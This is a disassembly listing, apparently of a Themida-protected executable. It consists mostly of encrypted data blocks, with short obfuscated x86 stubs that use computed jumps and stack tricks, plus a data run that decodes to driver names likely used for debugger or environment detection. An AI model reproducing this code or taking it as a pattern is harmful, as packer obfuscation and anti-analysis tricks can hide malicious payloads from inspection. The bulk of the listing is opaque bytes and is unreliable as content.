dd 5AD524A9h, 27000000h, 0DF5F6823h, 0D33C5247h, 4944FD14h dd 0EBE91C6h, 47DF5F79h, 0A4D6FF0Ah, 0D08F523Fh, 0AD959225h dd 47DFD6E1h, 0CBD30E17h, 47DFD6BCh, 1D5FF6BFh, 4FFF6597h dd 1BA79E4h, 84F38689h, 0F22DF27Ch, 4B0A1549h, 7F12FD92h dd 0DBEB82h, 0FD140000h, 0F1E092F5h, 53E6F14Dh, 0C0A5AE25h dd 0CB444801h, 0C130C396h, 0F18ED5B9h, 0E6A5B049h, 5FAC632Dh dd 1045CAC6h, 0CC8B7A83h, 3967913h, 5E667D94h, 4DF19129h dd 5CBC4F5Ah, 5004DF35h, 41581722h, 0DB65222Ah, 0B1647E6h dd 0DC43444Ch, 354047E6h, 10FF91A2h, 0ADB5CCC3h, 47E6DBDAh dd 0FA0B9EA9h, 0B7447996h, 0F108C7AEh, 0DBB5D2DAh, 0BBC647E6h dd 20FCC828h, 0F4FF49FAh, 0F7C35h, 0E8833ACBh, 9F1B1573h dd 1A6D7534h, 694DF221h, 0A35CCB5Eh, 3ED724EBh, 0F2570150h dd 556D5F9Fh, 0B0336BEAh, 7A1FEBA7h, 0F2DB3h, 59B6DB00h dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h dd 0BEEA9DA5h, 0BC994DF4h, 0FD1C72E6h, 5817828Dh, 0E91EF19Fh dd 36A16E20h, 99F5BEA3h, 90FEB776h, 36B94A7Fh, 529CC03Ch dd 351AAD18h, 0D40FD256h, 130855BAh, 22BC1BB3h, 2768h dd 0A5AEBA00h, 0A5F901C0h, 8049F177h, 17774075h, 7C12ABF8h dd 0EB20EF9Dh, 0EB78AD18h, 2C34F3E2h, 5003A562h, 17CD1A25h dd 0A8F51A72h, 5D927D0Fh, 0DF607B45h, 0FC137D47h, 8337B8AFh dd 0BC00737Eh, 434C21B4h, 0C185020Ah, 0EBF647DFh, 93AAC180h dd 0C213747Ch, 657047DFh, 0DFC1D2B5h, 69A6E847h, 0D333C6D1h dd 49F30530h, 0C0793843h, 42F845CAh, 3CEABE16h, 4745FE23h dd 6F3335C8h, 85000001h, 3FBDA6AEh, 5F820C14h, 887347DFh dd 373E140Ah, 5B1423A9h, 764BDE31h, 1C058368h, 0B1D6DEF5h dd 0D247DF5Fh, 0AE0634C7h, 143BB9A2h, 0A7DC335Bh, 924041D4h dd 0BCEACE16h, 16DEE25h, 43DFF538h, 0F35EB1DFh, 3E5E60h dd 0AEB00000h, 143DBBA0h, 0DF5F820Ch, 0DF5DDE47h, 8FF017F1h dd 961F6870h, 515C47DFh, 0B53E6h, 8078841h, 3F6D00D3h dd 4644FD14h, 720836C9h, 5179F718h, 467403h, 0E49D0000h dd 0A5D366A9h, 3DBBA0AEh, 5F820C14h, 347347DFh, 0DF5F5B2Ch dd 0B21D2847h, 143E1434h, 5F92F5FDh, 0E6F147DFh, 0C7484253h dd 71931449h, 21938519h, 30998463h, 71E24307h, 9C1DACDEh dd 5114C3E2h, 0A2D063BBh, 0BCEACE16h, 515B25h, 0AEAD0000h dd 143BB9A2h, 0C54A44FDh, 0CA2ABD90h, 47DF5FC4h, 65AAE39Ch dd 17F8AD2h, 92F5FD14h, 0F147DF5Fh, 0EE453E6h, 0DE315B14h dd 0FF523A4Bh, 8D75C581h, 0FDBC2705h, 0C49B327Ch, 0EC7F8935h dd 140351BEh, 5F92F5FDh, 0E6F147DFh, 3D4453h, 0AEAE0000h dd 143BB9A2h, 0CE4B44FDh, 51E44FC0h, 0DF5F9DF1h, 0F1AAC147h dd 0C6C1719Eh, 0EC47DF5Fh, 0CED9719Eh, 0F876613Bh, 1A723E14h dd 0FD1477F5h, 0DF5F92F5h, 53E6F147h, 0B1D99221h, 749DCB5Eh dd 0FFFFFE8Ch, 834E1C9Dh, 0B73EFDA8h, 0A5AEF624h, 444801C0h dd 0BFCD96CBh, 0DD481B50h, 0E6D3DB4Ah, 0D549F2ADh, 968A0BCAh dd 2AB360C3h, 1FF0A001h, 158417EAh, 0D6DB7DFEh, 0B0DA041Bh dd 8D820C1Dh, 0ECD9E340h, 2C37AC2Dh, 619EFFBFh, 0F4A52E59h dd 0D7424D4Dh, 64F71876h, 0A49AEDF5h, 0DEE94DF4h, 0A4F891A9h dd 0DBF74DF4h, 5DFC7D06h, 8CFB03FBh, 0EF4DF501h, 7304BBE4h dd 0D23DD2BAh, 0FBF2D23Fh, 212724A9h, 38000000h, 9F41107Fh dd 5CE57F9h, 73467BE6h, 3967912h, 5F6823D5h, 3C5247DFh dd 0B2EF86D3h, 59000000h, 1C0A5AEh, 39CC4348h, 594CC2CAh dd 303B49F1h, 0EFA15A71h, 147C8D20h, 0C9888705h, 0F162C6C1h dd 3FAAB54Dh, 0D83759F2h, 8DFA0219h, 0EE4DF162h, 36EA1EDh dd 4D648B70h, 0F1634245h, 0A336414Dh, 21E0C5CEh, 4B07419h dd 79121350h, 238E6196h, 2AE5AB64h, 0A62EA6Bh, 0F057C494h dd 0C9C7605Dh, 7B841146h, 0F5CFD796h, 849FAA2h, 9853EFDh dd 6E20B906h, 1DF422A1h, 0B95EEBA7h, 0BC1F2h, 0ED226F00h dd 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h, 5B932212h dd 0F790DD32h, 952E7B94h, 2EC714FBh, 8862AF60h, 0C2563139h dd 48254DF4h, 0F31C7272h, 2299F5BEh, 0DF5F6D1Ah, 98030E47h dd 0CDBAC2D9h, 0AE47DF5Fh, 0ABDCE4A3h, 0D847DF5Fh, 76553ACDh dd 9AF4EFF2h, 1A312875h, 0DF5F7512h, 8A050647h, 1A871A85h dd 22BCE2BAh, 0A4E3EB02h, 0D747DF67h, 6A3739CCh, 48000000h dd 675E2931h, 121D47DFh, 0A5AE517Fh, 0F9F901C0h, 2449F188h dd 3CBDE419h, 0B17F2E77h, 5F700347h, 9C93E02Fh, 3BD9831Bh dd 0B78ABF50h, 84E0308Eh, 61AEE0F1h, 5B969F2Ch, 0F1E63453h dd 4846474Dh, 54BF92C7h, 5A132AE9h, 6AA5E633h, 0C2F76235h dd 12FC5CEFh, 755003DFh, 6D261D6Ah, 0EABDF21Dh, 0EED708C1h dd 0F1843930h, 0F51A72C3h, 6002C0A8h, 0ACE447DFh, 0B0B91663h dd 3EFA02C1h, 6149F2A3h, 0ACDE9756h, 14601663h, 4ADD325Bh dd 3CEAE5DDh, 7F0CC523h, 2CFBFD90h, 4D000001h, 3FBDA6AEh dd 5F820C14h, 887347DFh, 7CFD140Ah, 0B9E32513h, 0F59AFB8Bh dd 3759871Ah, 0A0AE23A9h, 0FD143DBBh, 0DF5F92F5h, 53E6F147h dd 0A2AE06ECh, 41464E65h, 4247DF60h, 60008737h, 788347DFh dd 2D987717h, 16D482AFh, 25BCEACEh, 365Bh, 0A0AEAD00h dd 0C143DBBh, 47DF5F82h, 147CFA05h, 0C54A44FDh, 0FD140432h dd 0DF5F92F5h, 53E6F147h, 6B734842h, 47DF601Ch, 7D15FA96h dd 51890772h, 257403h, 0AEDE0000h, 143DBBA0h, 5F92F5FDh dd 662847DFh, 9A174A9h, 0F4FC6BFEh, 47DF5F9Ah, 14F2705Bh dd 0F718723Eh, 16035179h, 25BCEACEh, 355Bh, 0A2AEAD00h dd 0FD143BB9h, 0DF5F92F5h, 85E6F147h, 372050Ah, 0DF5F93FBh dd 9DF1F247h, 14890772h, 0C093143Eh, 0D5233698h, 9FEDFE91h dd 351F270h, 3C74h, 0A2AEDE00h, 0C143BB9h, 47DF5F82h, 13FC9273h dd 0FD142AA8h, 8EC34C44h, 60285F67h, 505B47DFh, 722452E5h dd 57F8371Ah, 0C7F6EDFEh, 0A9E49D5Ch, 87F21D70h, 9068952h dd 51DD0B9Eh, 0FEC17403h, 0AEDEFFFFh, 0F901C0A5h, 49F2ADC0h dd 9415D4DFh, 35524BA4h, 64232BC4h, 174DF4C9h, 9F0EA10Ch dd 0B13A8E6h, 4DF4C97Ch, 0D8CBF4FFh, 74C61E95h, 3F3683EEh dd 7A672028h, 9144DF4h, 0AA97A176h, 7AA4E3EBh, 0F7B04DF4h dd 1E457A95h, 0F47A7116h, 9C07124Dh, 81B6C109h, 0F47B2069h dd 7990CF4Dh, 0F47B1671h, 0C75A654Dh, 0A71F667Bh, 7424A9F9h dd 35h, 5F6823C6h, 73F447DFh, 65C35F33h, 0B1B4910Ch, 3A5C7A42h dd 0F11E6ECFh, 7A414D5Eh, 9444CBC1h, 47DF62F3h, 0CD1A8590h dd 0D936h, 0E6A65F00h, 8E21F429h, 2A5AE60h, 309C595Ah dd 5A1984C1h, 0C038A43h, 117104D7h, 49F1D611h, 5912D1DCh dd 0D5A8DD32h, 0D5790E16h, 0FF0A4DF1h, 2DE6FD6Ch, 91AAD62h dd 5B2C3487h, 284DF1D5h, 3AF3B21Dh, 2E2BBE51h, 0B8C0FB95h dd 4DF1D5CFh, 4B40A1ACh, 972459C4h, 0E0E8A78Eh, 500523A9h dd 530CCBD6h, 0D241D43Bh, 848B02BBh, 5FB0E0F1h, 2177912h dd 0E318838Ch, 0A9684D56h, 1BC21192h, 4B808FFCh, 88D44F78h dd 0D7ED4DE0h, 2A49F9D3h, 9049601Fh, 6F8013FCh, 0AA3F01Fh dd 180C8B84h, 5AEBA7CCh, 838EEB5h, 0ABE60000h, 0E7E1764h dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h, 754BBD2h dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF4C5h dd 1C72E9BFh, 0C6B334F3h, 7A95F8B6h, 5B915951h, 0A5BCE3C8h dd 0DF97EA9Dh, 0F5989947h, 0A712E51Ah, 92C74846h, 731B2CBFh dd 6C2BE4A6h, 0DF982364h, 0EA556047h, 8F52D6B5h, 0C14E3DF6h dd 50E32C60h, 0C3CA4F3Fh, 0D944174Ch, 0C63F978Ch, 4CEC22BCh dd 0FD000000h, 8EC34C44h, 14FA28BBh, 5F92F5FDh, 0E6F147DFh dd 90757E53h, 7D81C9D1h, 3E5549F1h, 0F17C5136h, 9427324Dh dd 6B82414Ch, 0F17D2463h, 0B94C574Dh, 7CCFBCD4h, 8244DF1h dd 98F7B0D9h, 0DC6F4277h, 0AEE3176Fh, 42C424h, 0AE160000h dd 0F901C0A5h, 49F18F85h, 1DD695A0h, 976A9F70h, 38561F04h dd 9DF18AD7h, 95163D72h, 30A3E453h, 1CF18496h, 676F2E13h dd 5003ABBBh, 126AE263h, 61AF958Ch, 466F9745h, 9124B090h dd 3BF13E49h, 71399314h, 0D1060985h, 1B75D5FEh, 0F78803Fh dd 6C47E022h, 69E6CE61h, 0CE414D06h, 5E33C699h, 0A9B17055h dd 49F237A5h, 7F9000B9h, 7516774Ah, 0B4BF079Ah, 0D5BB7463h dd 93C84744h, 4D2055C0h, 396EA1ECh, 0B173D366h, 378D6879h dd 8088472Eh, 1056151Eh, 0BE3FFE09h, 0AF9AC55Ch, 8D720537h dd 4B0AF700h, 686E8043h, 0DF2AF30Ah, 5FB0DF4Eh, 11EAAD36h dd 8D60957Ah, 3FF8B722h, 58C1CA4Fh, 0CFA2D738h, 13ACF964h dd 715947Bh, 2B2BD135h, 694BF86h, 4F420000h, 0B2DA73C0h dd 1377105Dh, 7916AFFCh, 0DDB04996h, 0C0F5E532h, 63B05F2Eh dd 14EC1CAh, 9AE72868h, 35828D01h, 83040C5Bh, 4DF4C7h dd 1C724D23h, 95F5BEF3h, 0C7D02D7Ah, 76131BDAh, 0DE49F2ADh dd 0ADC8BFC7h, 0BABB4DF4h, 310439D6h, 0E42B65C6h, 149DCAFh dd 92F8C1F6h, 0EA36FE7Dh, 0B75CEBA0h, 62DF0h, 59B6DB00h dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h, 0C7278E7Eh dd 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h, 0C7EA9DA5h dd 0BC994DF4h, 0C0A5AEE6h, 0CBD3EA01h, 47DF5FBCh, 0C121B4BFh dd 49F2ADCCh, 0D7A21394h, 0AA4D0A54h, 8FC4CF17h, 0A8DC4C6h dd 0AF19EC44h, 600F729Bh, 77B03DE7h, 0F2BB8D0Ch, 12B7EBA0h dd 5C14Bh, 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh dd 5FB0DD76h, 5B932212h, 0F790DD32h, 952E7B94h, 2EC714FBh dd 8862AF60h, 0C8563139h, 48254DF4h, 0C0A5AE72h, 0AD98F901h dd 496049F2h, 0F4AC4641h, 972A354Dh, 460F444Fh, 186F7744h dd 6B4DF4ADh, 9A76F560h, 0D8EBA0E9h, 5646C33h, 7F120000h dd 0E2AA4390h, 4347E02Dh, 0A9E67FCCh, 0D801966h, 0F0C5B502h dd 33808FFEh, 0D11EF19Ah, 6AB75838h, 552BDD1h, 0B3D4DC2Bh dd 0D04DF4C8h, 1C721DF3h, 99F5BEF3h, 74AB4176h, 0A73AD5BBh dd 335B865Bh, 3166A9E6h, 1D34F35Eh, 0DF5F7215h, 25481147h dd 0D978D1F6h, 413ED13Ch, 0F429E6A8h, 0DFDFB2DCh, 0B8CBB47h dd 46DEC818h, 8FDB6E1Eh, 22F79752h, 0EB38A36Ch, 9ED33C52h dd 0FA02B9D5h, 47E0238Dh, 878FEEh, 8347E024h, 0E3A20D78h dd 78AD622Ah, 0B81512A5h, 0FB03C2AFh, 49F25093h, 0DBACB4CBh dd 0A84DF24Ah, 0B7C20A9Dh, 4B216A82h, 0F5994DF2h, 721CE51Ah dd 3941689Dh, 4DF24A4Eh, 27AB222Dh, 0B25D2FBAh, 173FAA7Dh dd 869DE6FBh, 0F24B097Eh, 0DC6F7A4Dh, 0AE09176Fh, 4CC424h dd 14160000h, 48DB345Bh, 0BC7B6A73h, 0F17F12B4h, 356A7549h dd 0F1806E1Dh, 0D13E4C4Dh, 5DBCD39Ch, 3E73DE31h, 0FFE4FD41h dd 5F26BBD7h, 24AEDF67h, 374BC647h, 0FADCBAABh, 0E06567h dd 5F760000h, 0F1E33057h, 0E018A4Dh, 636E06D9h, 1C72A2D0h dd 98F5BEF3h, 15794277h, 92FCC5FAh, 513DBE7Dh, 3650A5DBh dd 0ECD4D164h, 47E038DCh, 92DF305Eh, 0C8495F9h, 9AFBCE03h dd 7FB41FF0h, 3DFCE9F2h, 79120784h, 23F62B96h, 510A2190h dd 36ABD43Bh, 7A5BC053h, 0F066C659h, 0D749F179h, 0CF887FCCh dd 4A1D52BDh, 0ECD9E2B7h, 25F6252Dh, 0C2CD5004h, 0CC434A03h dd 68A7E67Fh, 0B32A7BE9h, 6B32D7EDh, 3C2h, 0A1EE2170h dd 3E8B8408h, 0DD2AE5A5h, 77C44B44h, 1360AFDEh, 315C9223h dd 93F891DEh, 0FA962F7Ch, 5F2FC815h, 3A8963B0h, 0F4CA5532h dd 7349264Dh, 98A01B72h, 47DF5FEFh, 1348C7C3h, 329DA840h dd 0B54AF273h, 0CDF61974h, 30BC355h, 47DFC984h, 0EE81ECF7h dd 0D93658F1h, 0A5AED68Ch, 0CDF901C0h, 3849F17Eh, 0DAB56E2Dh dd 57C24D3Fh, 0FFB8DFC4h, 76497E91h, 810883E3h, 0DEB24DF1h dd 87BC533Bh, 4B1449B4h, 16717942h, 654DF181h, 0F5BAEF5Ah dd 133BA041h, 23A3EAF7h, 0F824AEDFh, 0E5h, 0F31C724Ah dd 20B0B334h, 3F837546h, 8FFEC7ACh, 0A809068Ah, 23F62BE4h dd 5D6B83B8h, 0D747DF86h, 534E9AB7h, 1DD197A8h, 672F3B2h dd 39D6B832h, 19083104h, 0B089BFDh, 0BEF31C72h, 61AEDE97h dd 97849B2Ch, 0F8DA572h, 0C64943A4h, 562BBE91h, 0F718724Dh dd 0FDB6CD8Ch, 75487D92h, 937C14h, 0F18CB6A0h, 4C41FA49h dd 0E12E62C3h, 0AEFB064Eh, 9A594851h, 4FC0CA83h, 38625CBCh dd 651E5004h, 0D55E827h, 38A4302h, 0A2AE544Eh, 0A4CD2CE7h dd 0F73C1ABAh, 552BD3Bh, 6FEE216Ch, 0EDB346FFh, 7B07CE73h dd 29000002h, 0C15AA768h, 5EF744CBh, 0FD96E32Ch, 97307D92h dd 0DCCC19F6h, 977815D9h, 35DAB14Ah, 0CE414FE8h, 69A6E881h dd 0EBF3421Ch, 4DF4CB9Ch, 722C02DFh, 0EA7F41Bh, 4B428F80h dd 8215FA92h, 351C7254h, 2ED1C325h, 6A258605h, 329D70A5h dd 0B55A34FDh, 0BF020B68h, 0E00AD0B7h, 3DA8B347h, 28D4767Eh dd 8B0C49F2h, 4DB01C46h, 8CD46764h, 57344C81h, 9C4DF16Ah dd 0AA2A6180h, 7F24AEE9h, 4Bh, 0C0A5AED1h, 99C88001h, 5315A32Eh dd 0D1FA2EBAh, 0E3765C3Eh, 8A026C74h, 0FA0549F1h, 9939BA3Bh dd 3C8082BDh, 0BE51BC53h, 86CAC1D9h, 0D294DF1h, 9CA4BBD4h dd 4DF186EBh, 1F54BBCFh, 16A9B44Ch, 0AED929A9h, 2CFE24h dd 14500000h, 0A8E8315Bh, 0F4C7FC67h, 0E116F993h, 731B7B0Eh dd 8547DF5Fh, 0BFD6957Ch, 5FE7A0A8h, 899447DFh, 80CC96F6h dd 303B49F1h, 0A5AE2DE3h, 6DF901C0h, 7149F16Ch, 0A73AD5B8h dd 77BE965Fh, 5E329838h, 0ED161C9Eh, 9E09AFABh, 0B63A5169h dd 9DB94DF1h, 0B4754D44h, 1CA224AEh, 0F4000000h, 0DF5F6823h dd 0A0858E47h, 8089D9E1h, 697449F1h, 7AA4251Ch, 1CC7CDDh dd 0AE2755E8h, 57C2CAA5h, 0D3A6DB34h, 363EFD68h, 49F2AD63h dd 0BD763540h, 0FAF13ED1h, 8BC04F41h, 1247C8C2h, 0D15D43Fh dd 4DF4AC7Ah, 5A6BFE09h, 631CDB34h, 739CEF2Ah, 6D006B3Eh dd 3F2FB88h, 0E162D44h, 4DF4AC79h, 2AC24D41h, 0EC2C8C1Fh dd 0D75007EFh, 3A540DCCh, 9FEF88D5h, 0A5AE3B70h, 1F8001C0h dd 22ED9F0Ch, 295B8BF9h, 531F2796h, 1B49F181h, 4B03AB9Ah dd 704F18A7h, 9A1B4432h, 3F871A5Bh, 0A63BB534h, 12B7EBA7h dd 0A94Bh, 0D53A5700h, 729DEF88h, 11FE8C25h, 0AB642BC4h dd 47C8C55Eh, 43AB0AFAh, 0DF78C54Ah, 7D1663ACh, 16AFFC13h dd 704A9778h, 0CD6E1921h, 300D4DF4h, 0C0A5AE5Ah, 0A323F901h dd 0B1649F2h, 94F6AFD6h, 1273467Bh, 8F629778h, 6CA3EBFCh dd 708861Fh, 515ABAD2h, 93A7EBE5h, 14FB934Eh, 0AF602EC7h dd 0B75837F0h, 371CAF82h, 2FEE216Eh, 0DD7119AEh, 6DCEB9E6h dd 795EF11Eh, 0A3ABC2D1h, 0AFC6BFE4h, 0AB638C97h, 0A5674B3Bh dd 736EBA4Dh, 0ACF91678h, 5F947B13h, 1198h, 5B140200h dd 17A8DD32h, 70960C60h, 46D944DBh, 1F72F7E5h, 9CF2BBF0h dd 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h dd 8406CF04h, 0FF8D568Bh, 56D4DB10h, 0BB53E689h, 4, 835BDE01h dd 348704EEh, 0BD685C24h, 89000078h, 0A668242Ch, 8900003Ch dd 52502434h, 522830BAh, 5AD08943h, 47679735h, 58C58945h dd 8904EC83h, 4812424h, 424h, 0EC835E00h, 242C8904h, 9243481h dd 8F7F3B76h, 76810846h, 3B760908h, 2434FF7Fh, 4C4835Eh dd 57242C8Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFFD119Dh dd 75489DB2h, 234ECD7h ; --------------------------------------------------------------------------- loc_5B2A44: ; CODE XREF: Themida_:loc_5B09AAj mov eax, 6156EE9h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0EBh, 0B8h, 0C5h dd 904D576Bh, 0A89A441Ch, 0CC90156Bh, 404E1615h, 0AD16AD07h dd 0A6AB8B60h, 3AE01A16h, 28C68103h, 6425E1Eh, 587EED5Fh dd 337B9B5Ah, 74371D3Fh, 2A562615h, 314FF32h, 0D100D614h dd 98B64D29h, 28262655h, 8A846F2Eh, 0C5391F3Ch, 0A6B98F3Ah dd 0AE85Eh, 0DD910000h, 0C310915Eh, 14031B01h, 18C18159h dd 0F00006Ah, 8Eh, 1A666800h, 0D2810000h, 1D8F6BEEh, 6E85Eh dd 12BD0000h, 66674C16h, 8B5BDC8Ah, 0DD75BB01h, 0E881053Ch dd 76A6EB76h, 0F081D38Ah, 518F32E9h, 0AE850h, 35B00000h dd 0CA5FDCE6h, 0E7CE8469h, 36ECBB66h, 0F0815A5Ah, 3519DE8Ah dd 18991B3h, 8D99BA66h, 6004E983h, 141A00BAh, 0DF0CB941h dd 836139B8h, 850F01EEh, 0FFFFFFAFh, 8E9D18Ah, 6A000000h dd 1404F9h, 0E9000000h, 4E5h, 418E8110h, 0DE2BE4A8h, 7DCA4545h dd 1764ABE4h, 0B3000F7Eh, 91FCF2C3h, 0F398317Eh, 5A36CF1Ch dd 0BFCF68B5h, 0DA290350h, 0F4CFB5D2h, 13E9C64Dh, 85351C72h dd 96E571E6h, 662F64CFh, 29BE827h, 854E838Ch, 8D10609h dd 582F3784h, 2B47DF9Ch, 0B780B520h, 730439D6h, 0CF9ACD5Ch dd 684E5E1h, 2B967913h, 4E9317F6h, 9A475B89h, 0B6DA3F4Fh dd 8A1EE59h, 0A13A8788h, 0A9662AEFh, 4B40093Eh, 0E81F6870h dd 515C47DFh, 0FA09B1E6h, 38F4BE79h, 0F34C91AAh, 8E98C11Ch dd 47932661h, 5838F19Ah, 7D1324B7h, 751AD392h, 6992659Ah dd 55A1E355h, 0CFCC5F57h, 0A16E1FD8h, 28E7A36Ch, 75192ABDh dd 414D659Ah, 5947E05Eh, 0E29BF4EDh, 5D3065AAh, 655DCAh dd 9AB222BCh, 4000000h, 20315B14h, 415D1E1h, 1045B0DAh dd 11767E3Dh, 7247DFE0h, 0CBC3D467h, 0B7D9404Eh, 0E5502358h dd 3D72DDB0h, 0DFDF6825h, 19C83447h, 45D4B770h, 0C295CA45h dd 7F57C457h, 0AC22BC7Eh, 0Fh, 898604BDh, 49588154h, 3EF0AD26h dd 140331C4h, 0F1620593h, 10A34911h, 4D828DFFh, 0D2070884h dd 54898609h, 0AC37AABEh, 0BCC4DBE0h, 47E04ECBh, 8AFDADB8h dd 3047E04Eh, 0A87BB05Fh, 0EBA40510h, 0B11CEF24h, 4E566D64h dd 47E04F39h, 0CA45494Ah, 0C457C295h, 0E734DBB3h, 0F41B7231h dd 0E4FCB435h, 685C4CFAh, 6527F0D5h, 129675AAh, 889FB6CFh dd 0DF630780h, 0B9697447h, 47DF62CEh, 0A6AC501Ch, 14AC3308h dd 28657609h, 8D019AE7h, 0A611FE8Ch, 2DE2A871h, 122968F8h dd 0E0387D0Ah, 60F3FE47h, 0BEC6CD14h, 0B22BC25h, 78h, 0F41B725Dh dd 71161E35h, 1247DF5Fh, 0C68F7407h, 80164BC4h, 137A756Ch dd 0C843DFCh, 248F800Dh, 92FB9491h, 107F487Dh, 0F8A3FE41h dd 51BC9EF8h, 8437531Ch, 0DFA50B7Ch, 26D7847h, 328904CDh dd 0DFA45D2Ah, 0A8131E47h, 2CE3AA73h, 11C61BCFh, 7D14CDE9h dd 22BCB975h, 4EC2h, 1B721400h, 9AF6BFF4h, 0FF434075h dd 938607E2h, 14DD12FDh, 91649976h, 0B86EBB26h, 0D7AF9314h dd 7CBF7A47h, 0D01E23D8h, 0E679E408h, 2358B7D5h, 0E00E830Bh dd 0B8573947h, 39D6BA83h, 71705C04h, 647DE96Ch, 0BC51552Dh dd 18222h, 72D40000h, 0F9C2F718h, 9D457A95h, 57B8D58Eh dd 70BC4F22h, 0FB147671h, 634851AEh, 739CF227h, 95006B3Eh dd 8330CED6h, 37F049F1h, 0B487BC53h, 99CED921h, 451BED0h dd 2DEC236Bh, 4A3A1774h, 0BD66AC32h, 0DBAEE34Eh, 424B6348h dd 444DF1C4h, 8806E100h, 0A712FD91h, 42CDC15Ah, 0C54A440Dh dd 0B42DB190h, 6DBA5539h, 0AE9A1878h, 0E9A76024h, 8B1EF126h dd 0FC89h, 0A3199A00h, 0D2B5BD04h, 0B14DF20Ah, 0BE617DA6h dd 0AE92C053h, 0F901C0A5h, 49F17729h, 0BD40914h, 0A63F8C83h dd 29F227E8h, 32EBAA65h, 3E23B659h, 8DFFB85Fh, 3EA3EF82h dd 0C038C45h, 7942454Dh, 36414DF1h, 1DFC92A3h, 73329D72h dd 439D6BAh, 0ACA19E31h, 24AEE7D4h, 2701h, 0A4AE5300h dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0F1FB2AB7h dd 2A3D4504h, 5947DF5Eh, 7A6A014Eh, 0D4000000h, 1C0A5AEh dd 0F18155F9h, 70A5B049h, 0DB28E7A7h, 8EC34C42h, 0F1881676h dd 0ECA50C4Dh, 92DE719Eh, 15FA944Fh, 3050D1C8h, 6A02C64Ah dd 414A1FB2h, 6D8D9554h, 585004E0h, 3F4F184Dh, 0E4F39BD0h dd 0D4BA5F2Bh, 0C833063Bh, 0E12DC093h, 68708700h, 47E6C01Fh dd 92F5FD5Ch, 0F147E6BFh, 13E87BE6h, 0A966250Ah, 83777F3Eh dd 7B49FA30h, 0B346C9C2h, 0EF206A6Bh, 2F7CE7BAh, 0C0A5AE79h dd 0D001F901h, 3CF549F2h, 0B78ABF50h, 9CD1DC24h, 754BBD3h dd 0D6395710h, 0B35C3243h, 52E7667Eh, 72863BE4h, 0F51A746Fh dd 907F0FA8h, 12FD925Bh, 6D2635DDh, 18CED22h, 0B22F7B0Eh dd 6BB85737h, 1E53BCD2h, 1257h, 0F322C100h, 8ABF503Ah dd 602C5B63h, 444F47DFh, 721846D9h, 0F2BBF01Fh, 753E739Ch dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh dd 8D568B84h, 0D4DB10FFh, 8904EC83h, 6F68241Ch, 89000029h dd 0C4682434h, 89000048h, 0BB53243Ch, 0F896CDCh, 3871CB81h dd 0F3812F43h, 68CF43A1h, 114F3EBEh, 5BDE3141h, 4EC81h dd 24890000h, 24048124h, 4, 8B9515Fh, 1000000h, 18F56F9h dd 243C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_583BD9 ; --------------------------------------------------------------------------- db 0D9h dd 0EF7C0383h, 4F3C7CC2h, 258C6340h, 74CAB864h, 0C5030615h dd 0A4FCE0FFh, 0C5681E9Ch, 374627C0h, 0E4AF3222h, 0F1175636h dd 6E705F41h, 58C3CBFh, 0FDA02C4Eh, 51C3E24h, 0B2BF1755h dd 82947D17h, 0C7B2575Ah, 0A6A96E41h, 21B553F4h, 5F67521Ah dd 77793D5Eh, 42466D3Ah, 256E2E99h, 2DEE3F9Ah, 77347118h dd 21740E6Ch, 786D067Ch, 0CE827EAh, 91000000h, 839D4F4Fh dd 0C9C1E27h, 0F8A1062h, 815BCBBFh, 6897C3h, 97E58000h dd 8166C033h, 0FFB5CADAh, 0CA8B1834h, 0A9E2805Fh, 0BAA7C781h dd 81662D60h, 81F278EAh, 71408EF7h, 4B0AB949h, 0F7815B36h dd 644B6B48h, 223FBE60h, 32BF4A53h, 6104E1F4h, 13E957h dd 54880000h, 751A97E2h, 0B3FD4921h, 0D38C47Ah, 8B40E72Fh dd 3048F2Fh, 0BDC88160h, 0E83EAED8h, 10h, 8130D387h, 64116C94h dd 31B7BB23h, 219A8212h, 9E9h, 0FD4CF400h, 0E1F16AD8h dd 615A9BA0h, 5E9h, 39B03900h, 0E88339B0h, 0F2B70F01h dd 66484848h, 818BBFBAh, 0FF9824F8h, 64850FFFh, 0FFFFFFFh dd 34EBD0BFh, 4D534649h, 20205247h, 20444B56h, 20202020h dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h dd 20205244h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B386F ; --------------------------------------------------------------------------- db 0Fh, 80h, 1 dd 0F9000000h, 8A0F6060h, 12h, 0DE9h, 80B51800h, 0AD331430h dd 1B4309C6h, 81661DD5h, 61C7ABE6h, 769685C7h, 615h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 696D17C3h, 898A305h, 0FC68BF9h, 78Fh, 1820F00h, 0FC000000h dd 0D8B70FF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 3C35343h, 60261FD0h, 2810Fh, 61600000h, 61D8B70Fh dd 6A10E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 5119C357h, 5C736670h, 66DC81A8h dd 6008C8C1h, 0C890Fh, 6E80000h, 0C5000000h, 5B692BB5h dd 61F95830h, 8F0F5660h, 0 ; --------------------------------------------------------------------------- pop eax popa mov [ebp+615769Ah], eax pusha mov dx, bx mov cl, ah popa ror bx, 8 jo loc_5B3276 cld loc_5B3276: ; CODE XREF: Themida_:005B326Fj cmp ebx, 40h jnz loc_5B32DE push 0 push eax call sub_5B328A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B328A proc near ; CODE XREF: Themida_:005B3282p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add 